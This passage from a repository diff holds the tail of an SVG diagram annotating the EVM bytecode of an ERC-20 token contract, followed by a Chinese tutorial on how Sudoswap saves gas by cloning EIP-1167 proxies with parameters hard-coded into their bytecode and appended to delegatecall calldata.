inline-block; font-size: 48px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap; font-weight: bold; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">wrappers</div></div></foreignObject><text x="107" y="52" fill="#000000" text-anchor="middle" font-size="48px" font-family="Helvetica" font-weight="bold">wrappers</text></switch></g><g transform="translate(2367.5,4024.5)rotate(10,77.5,27.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="155" height="55" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 48px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap; font-weight: bold; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">bodies<br /></div></div></foreignObject><text x="78" y="52" fill="#000000" text-anchor="middle" font-size="48px" font-family="Helvetica" font-weight="bold">bodies&lt;br&gt;</text></switch></g><g transform="translate(2353.5,1918.5)rotate(-20,44,27.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="88" height="55" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 48px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap; font-weight: bold; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">hub</div></div></foreignObject><text x="44" y="52" fill="#000000" text-anchor="middle" font-size="48px" font-family="Helvetica" font-weight="bold">hub</text></switch></g><rect x="2652" y="677" width="340" height="250" fill="#ffffff" stroke="#9673a6" pointer-events="none"/><path d="M 2652 703 L 2652 677 L 2992 677 L 2992 703 Z" fill="#e1d5e7" stroke="#9673a6" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="2821.5" y="695.5">constructor body</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-2656-708-332-224-0)" font-size="12px"><text x="2657.5" y="720.5">038 PUSH1 00</text><text x="2657.5" y="734.5">040 DUP2</text><text x="2657.5" y="748.5">041 DUP2</text><text x="2657.5" y="762.5">042 SSTORE</text><text x="2657.5" y="776.5">043 CALLER</text><text x="2657.5" y="790.5">044 DUP2</text><text x="2657.5" y="804.5">045 MSTORE</text><text x="2657.5" y="818.5">046 PUSH1 01</text><text x="2657.5" y="832.5">048 PUSH1 20</text><text x="2657.5" y="846.5">050 MSTORE</text><text x="2657.5" y="860.5">051 SWAP2</text><text x="2657.5" y="874.5">052 SWAP1</text><text x="2657.5" y="888.5">053 SWAP2</text><text x="2657.5" y="902.5">054 SHA3</text><text x="2657.5" y="916.5">055 SSTORE</text></g><path d="M 2360 784 L 2355 784 Q 2350 784 2350 794 L 2350 876 Q 2350 886 2345 886 L 2342.5 886 Q 2340 886 2345 886 L 2347.5 886 Q 2350 886 2350 896 L 2350 978 Q 2350 988 2355 988 L 2360 988" fill="none" stroke="#9673a6" stroke-miterlimit="10" transform="rotate(-180,2350,886)" pointer-events="none"/><path d="M 2370 880 L 2633.57 801.91" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2624.53 812.41 L 2636.78 800.95 L 2620.27 798.02" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><rect x="2660" y="360" width="370" height="280" fill="#ffffff" stroke="#666666" pointer-events="none"/><path d="M 2660 386 L 2660 360 L 3030 360 L 3030 386 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="2844.5" y="378.5">retrieve constructor parameters</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-2664-391-362-254-0)" font-size="12px"><text x="2665.5" y="403.5">016 JUMPDEST</text><text x="2665.5" y="417.5">017 POP</text><text x="2665.5" y="431.5">018 PUSH1 40</text><text x="2665.5" y="445.5">020 MLOAD</text><text x="2665.5" y="459.5">021 PUSH1 20</text><text x="2665.5" y="473.5">023 DUP1</text><text x="2665.5" y="487.5">024 PUSH2 0217</text><text x="2665.5" y="501.5">027 DUP4</text><text x="2665.5" y="515.5">028 CODECOPY</text><text x="2665.5" y="529.5">029 DUP2</text><text x="2665.5" y="543.5">030 ADD</text><text x="2665.5" y="557.5">031 PUSH1 40</text><text x="2665.5" y="571.5">033 SWAP1</text><text x="2665.5" y="585.5">034 DUP2</text><text x="2665.5" y="599.5">035 MSTORE</text><text x="2665.5" y="613.5">036 SWAP1</text><text x="2665.5" y="627.5">037 MLOAD</text></g><path d="M 2360 540 L 2355 540 Q 2350 540 2350 550 L 2350 649.5 Q 2350 659.5 2345 659.5 L 2342.5 659.5 Q 2340 659.5 2345 659.5 L 2347.5 659.5 Q 2350 659.5 2350 669.5 L 2350 769 Q 2350 779 2355 779 L 2360 779" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,2350,659.5)" pointer-events="none"/><path d="M 2370 650 L 2634.61 453.99" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2629.72 466.95 L 2637.3 452 L 2620.79 454.9" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 1382 5051 L 1377 5051 Q 1372 5051 1372 5061 L 1372 5263.5 Q 1372 5273.5 1367 5273.5 L 1364.5 5273.5 Q 1362 5273.5 1367 5273.5 L 1369.5 5273.5 Q 1372 5273.5 1372 5283.5 L 1372 5486 Q 1372 5496 1377 5496 L 1382 5496" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,1372,5273.5)" pointer-events="none"/><g transform="translate(1391.5,6386.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="4" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;"> </div></div></foreignObject><text x="2" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">[Not supported by viewer]</text></switch></g><g transform="translate(468.5,3685.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="78" height="34" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 8px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; width: 80px; white-space: nowrap; overflow-wrap: normal; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">optimize = true,<br />v0.4.24,<br />Chrome<br />_initialSupply = 10000<br /></div></div></foreignObject><text x="39" y="21" fill="#000000" text-anchor="middle" font-size="8px" font-family="Helvetica">[Not supported by viewer]</text></switch></g><g transform="translate(2261.5,5008.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="97" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Metadata hash.</div></div></foreignObject><text x="49" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">Metadata hash.</text></switch></g><g transform="translate(1386.5,5257.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="296" height="30" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Hardcoded constructor parameters in 32 bytes, <br />equals 0x00..002710, or 10000 in decimal.</div></div></foreignObject><text x="148" y="22" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">Hardcoded constructor parameters in 32 bytes, &lt;br&gt;equals 0x00..002710, or 10000 in decimal.</text></switch></g><ellipse cx="10" cy="3580" rx="10" ry="10" fill="#e1d5e7" stroke="#9673a6" pointer-events="none"/><g transform="translate(3016.5,730.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="136" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">totalSupply_ = 10000;</div></div></foreignObject><text x="68" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">totalSupply_ = 10000;</text></switch></g><g transform="translate(3017.5,829.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="243" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">concatenate mapping position with key.</div></div></foreignObject><text x="122" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">concatenate mapping position with key.</text></switch></g><g transform="translate(3021.5,906.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="226" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;"><span>balances[msg.sender] = totalSupply;</span></div></div></foreignObject><text x="113" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">&lt;span&gt;balances[msg.sender] = totalSupply;&lt;/span&gt;</text></switch></g><path d="M 3924 3985 L 3919 3985 Q 3914 3985 3914 3995 L 3914 4002.5 Q 3914 4010 3909 4010 L 3906.5 4010 Q 3904 4010 3909 4010 L 3911.5 4010 Q 3914 4010 3914 4020 L 3914 4027.5 Q 3914 4035 3919 4035 L 3924 4035" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,3914,4010)" pointer-events="none"/><g transform="translate(3931.5,3999.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="247" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">load storage at position 1 into the stack.</div></div></foreignObject><text x="124" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">load storage at position 1 into the stack.</text></switch></g><path d="M 4011 4216 L 4006 4216 Q 4001 4216 4001 4222 L 4001 4225 Q 4001 4228 3996 4228 L 3993.5 4228 Q 3991 4228 3996 4228 L 3998.5 4228 Q 4001 4228 4001 4234 L 4001 4237 Q 4001 4240 4006 4240 L 4011 4240" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,4001,4228)" pointer-events="none"/><g transform="translate(4012.5,4220.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="276" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">cast incoming calldata into the address type.<br /></div></div></foreignObject><text x="138" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">cast incoming calldata into the address type.&lt;br&gt;</text></switch></g><path d="M 4011 4243 L 4006 4243 Q 4001 4243 4001 4253 L 4001 4299.5 Q 4001 4309.5 3996 4309.5 L 3993.5 4309.5 Q 3991 4309.5 3996 4309.5 L 3998.5 4309.5 Q 4001 4309.5 4001 4319.5 L 4001 4366 Q 4001 4376 4006 4376 L 4011 4376" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,4001,4309.5)" pointer-events="none"/><g transform="translate(4012.5,4301.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="358" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">concatenate mapping position + key and store in memory.</div></div></foreignObject><text x="179" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">concatenate mapping position + key and store in memory.</text></switch></g><path d="M 4011 4380 L 4006 4380 Q 4001 4380 4001 4390 L 4001 4397 Q 4001 4404 3996 4404 L 3993.5 4404 Q 3991 4404 3996 4404 L 3998.5 4404 Q 4001 4404 4001 4414 L 4001 4421 Q 4001 4428 4006 4428 L 4011 4428" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,4001,4404)" pointer-events="none"/><g transform="translate(4011.5,4395.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="318" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">calculate storage position and read it into the stack.</div></div></foreignObject><text x="159" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">calculate storage position and read it into the stack.</text></switch></g><path d="M 4151 4779 L 4146 4779 Q 4141 4779 4141 4789 L 4141 4847.5 Q 4141 4857.5 4136 4857.5 L 4133.5 4857.5 Q 4131 4857.5 4136 4857.5 L 4138.5 4857.5 Q 4141 4857.5 4141 4867.5 L 4141 4926 Q 4141 4936 4146 4936 L 4151 4936" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,4141,4857.5)" pointer-events="none"/><g transform="translate(4156.5,4849.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="163" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">require(_to != address(0));<br /></div></div></foreignObject><text x="82" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">require(_to != address(0));&lt;br&gt;</text></switch></g><path d="M 3630 4880 L 3610 4880 Q 3600 4880 3600 4890 L 3600 4930 Q 3600 4940 3610 4940 L 3623.63 4940" fill="none" stroke="#b85450" stroke-miterlimit="10" stroke-dasharray="3 3" pointer-events="none"/><path d="M 3628.88 4940 L 3621.88 4943.5 L 3623.63 4940 L 3621.88 4936.5 Z" fill="#b85450" stroke="#b85450" stroke-miterlimit="10" pointer-events="none"/><g transform="translate(3598.5,4904.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="3" height="11" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 11px; font-family: Helvetica; color: black; line-height: 1.2; vertical-align: top; white-space: nowrap; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;background-color:#ffffff;"> </div></div></foreignObject><text x="2" y="11" fill="black" text-anchor="middle" font-size="11px" font-family="Helvetica">[Not supported by viewer]</text></switch></g><path d="M 4151 5244 L 4146 5244 Q 4141 5244 4141 5254 L 4141 5348 Q 4141 5358 4136 5358 L 4133.5 5358 Q 4131 5358 4136 5358 L 4138.5 5358 Q 4141 5358 4141 5368 L 4141 5462 Q 4141 5472 4146 5472 L 4151 5472" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,4141,5358)" pointer-events="none"/><g transform="translate(4156.5,5350.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="210" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">read balances[msg.sender] value.</div></div></foreignObject><text x="105" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">read balances[msg.sender] value.</text></switch></g><path d="M 4151 4939 L 4146 4939 Q 4141 4939 4141 4949 L 4141 5079 Q 4141 5089 4136 5089 L 4133.5 5089 Q 4131 5089 4136 5089 L 4138.5 5089 Q 4141 5089 4141 5099 L 4141 5229 Q 4141 5239 4146 5239 L 4151 5239" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,4141,5089)" pointer-events="none"/><g transform="translate(3481.5,4903.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="147" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">jump over this or revert!<br /></div></div></foreignObject><text x="74" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">jump over this or revert!&lt;br&gt;</text></switch></g><g transform="translate(4157.5,5081.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="259" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">require(_value &lt;= balances[msg.sender]);<br /></div></div></foreignObject><text x="130" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">require(_value &lt;= balances[msg.sender]);&lt;br&gt;</text></switch></g><path d="M 3635 5174 L 3615 5174 Q 3605 5174 3605 5184 L 3605 5224 Q 3605 5234 3615 5234 L 3628.63 5234" fill="none" stroke="#b85450" stroke-miterlimit="10" stroke-dasharray="3 3" pointer-events="none"/><path d="M 3633.88 5234 L 3626.88 5237.5 L 3628.63 5234 L 3626.88 5230.5 Z" fill="#b85450" stroke="#b85450" stroke-miterlimit="10" pointer-events="none"/><g transform="translate(3603.5,5198.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="3" height="11" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 11px; font-family: Helvetica; color: black; line-height: 1.2; vertical-align: top; white-space: nowrap; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;background-color:#ffffff;"> </div></div></foreignObject><text x="2" y="11" fill="black" text-anchor="middle" font-size="11px" font-family="Helvetica">[Not supported by viewer]</text></switch></g><g transform="translate(3486.5,5197.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="147" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">jump over this or revert!<br /></div></div></foreignObject><text x="74" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">jump over this or revert!&lt;br&gt;</text></switch></g><path d="M 4152 5475 L 4147 5475 Q 4142 5475 4142 5485 L 4142 5496.5 Q 4142 5506.5 4137 5506.5 L 4134.5 5506.5 Q 4132 5506.5 4137 5506.5 L 4139.5 5506.5 Q 4142 5506.5 4142 5516.5 L 4142 5528 Q 4142 5538 4147 5538 L 4152 5538" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,4142,5506.5)" pointer-events="none"/><g transform="translate(4153.5,5498.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="329" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">calculate and store new balances[msg.sender] value.</div></div></foreignObject><text x="165" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">calculate and store new balances[msg.sender] value.</text></switch></g><g transform="translate(4156.5,5603.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="156" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">read balances[_to] value.</div></div></foreignObject><text x="78" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">read balances[_to] value.</text></switch></g><path d="M 4152 5541 L 4147 5541 Q 4142 5541 4142 5551 L 4142 5601 Q 4142 5611 4137 5611 L 4134.5 5611 Q 4132 5611 4137 5611 L 4139.5 5611 Q 4142 5611 4142 5621 L 4142 5671 Q 4142 5681 4147 5681 L 4152 5681" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,4142,5611)" pointer-events="none"/><g transform="translate(4152.5,5744.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="276" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">calculate and store new balances[_to] value.</div></div></foreignObject><text x="138" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">calculate and store new balances[_to] value.</text></switch></g><path d="M 4152 5684 L 4147 5684 Q 4142 5684 4142 5694 L 4142 5742.5 Q 4142 5752.5 4137 5752.5 L 4134.5 5752.5 Q 4132 5752.5 4137 5752.5 L 4139.5 5752.5 Q 4142 5752.5 4142 5762.5 L 4142 5811 Q 4142 5821 4147 5821 L 4152 5821" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,4142,5752.5)" pointer-events="none"/><g transform="translate(27.5,150.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="681" height="178" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 50px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; width: 681px; white-space: normal; overflow-wrap: normal; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">BasicToken.sol bytecode deconstruction. <br />(zoom out)</div></div></foreignObject><text x="341" y="114" fill="#000000" text-anchor="middle" font-size="50px" font-family="Helvetica">BasicToken.sol bytecode deconstruction. &lt;br&gt;(zoom out)</text></switch></g><path d="M 3635 2180.06 L 3615 2180.06 Q 3605 2180.06 3605 2190.06 L 3605 2230.06 Q 3605 2240.06 3615 2240.06 L 3628.63 2240.06" fill="none" stroke="#b85450" stroke-miterlimit="10" stroke-dasharray="3 3" pointer-events="none"/><path d="M 3633.88 2240.06 L 3626.88 2243.56 L 3628.63 2240.06 L 3626.88 2236.56 Z" fill="#b85450" stroke="#b85450" stroke-miterlimit="10" pointer-events="none"/><g transform="translate(3603.5,2204.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="3" height="11" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 11px; font-family: Helvetica; color: black; line-height: 1.2; vertical-align: top; white-space: nowrap; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;background-color:#ffffff;"> </div></div></foreignObject><text x="2" y="11" fill="black" text-anchor="middle" font-size="11px" font-family="Helvetica">[Not supported by viewer]</text></switch></g><g transform="translate(3486.5,2203.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="147" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">jump over this or revert!<br /></div></div></foreignObject><text x="74" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">jump over this or revert!&lt;br&gt;</text></switch></g></g></svg>
diff --git a/basic/43-EVM/etk/GasOptimizedForSudo.md b/basic/43-EVM/etk/GasOptimizedForSudo.md
new file mode 100644
index 000000000..dc90fc6cb
--- /dev/null
+++ b/basic/43-EVM/etk/GasOptimizedForSudo.md
@@ -0,0 +1,150 @@
+# Sudoswap是如何节省gas的
+## Background
+sudoswap的一大特色就是非常节省gas，在它的twitter上也和seaport消耗的gas进行了对比，所以这里就想学习下sudoswap是如何节省gas的。
+![](2022-09-04-17-24-43.png)
+### 创建pair合约
+通过factory创建pair合约的主要操作都是在LSSVMPairCloner这个lib里完成，可以看到这里有着非常多的assembly代码甚至是手写的Opcode。
+比如其`cloneETHPair`方法，里面就充斥了一堆手写的[opcode](https://github.com/sudoswap/lssvm/blob/c8b228b2a3b51664c433f487fb76db42d3509dd4/src/lib/LSSVMPairCloner.sol#L21-L101)。
+![](2022-09-04-17-29-48.png)
+1. 明白这个函数在做什么：
+这个函数实际上就是完成了EIP-1167，最小化proxy合约的创建，具体可参考[这个链接](https://learnblockchain.cn/article/2663)。与标准的创建EIP-1167合约不同的一点在于，他将函数的参数，如`factory,bondingCurve,nft,poolType`这四个参数全部硬编码到了部署得到的proxy合约代码里面，如这个[地址所示](https://etherscan.io/address/0xb79f94e6f2460d3cb8b8970de4aa873f78589e34#code)：
+```js
+0x3d3d3d3d363d3d37603d6035363936603d013d73cd80c916b1194beb48abf007d0b79a7238436d565af43d3d93803e603357fd5bf3b16c1342e617a5b6e4b631eb114483fdb289c0a4432f962d8209781da23fb37b6b59ee15de7d984164ad353bc90a04361c4810ae7b3701f3beb48d7e02
+```
+其中，implement合约地址是：`0xCd80C916B1194beB48aBF007D0b79a7238436D56`。
+携带的4个参数分别是：
+```js
+factory: 0xb16c1342e617a5b6e4b631eb114483fdb289c0a4
+bondingCurve: 0x432f962d8209781da23fb37b6b59ee15de7d9841
+nft:0x64ad353bc90a04361c4810ae7b3701f3beb48d7e
+poolType: 0x02
+```
+2. 然后当有任何的调用到这个proxy上时，这个proxy会直接将所有的函数调用通过delegatecall的方式，调用到其实现合约上，并且与EIP-1167不同的一点是，其调用delegatecall的时候，会在calldata后面硬编码上proxy创建时带的这4个参数:`factory,bondingCurve,nft,poolType`
+即，比如最简单的调用`swapTokenForAnyNFTs`方法，其调用的calldata为：
+```js
+首先是用户直接调用proxy的swapTokenForAnyNFTs方法：
+proxy.call(abi.encodeWithSelector(proxy.swapTokenForAnyNFTs.selector, numNFTs, maxExpectedTokenInput, nftRecipient, isRouter, routerCaller))
+然后是proxy对该方法调用进行delegatecall转发：
+impl.delegatecall(
+    abi.encodePacked(
+        abi.encodeWithSelector(
+            proxy.swapTokenForAnyNFTs.selector, 
+            numNFTs, 
+            maxExpectedTokenInput, 
+            nftRecipient, 
+            isRouter, 
+            routerCaller),
+        abi.encodePacked(
+            factory,
+            bondingCurve,
+            nft,
+            poolType
+        )))
+```
+这样做有很多好处，一个好处就是可以极大的省gas。
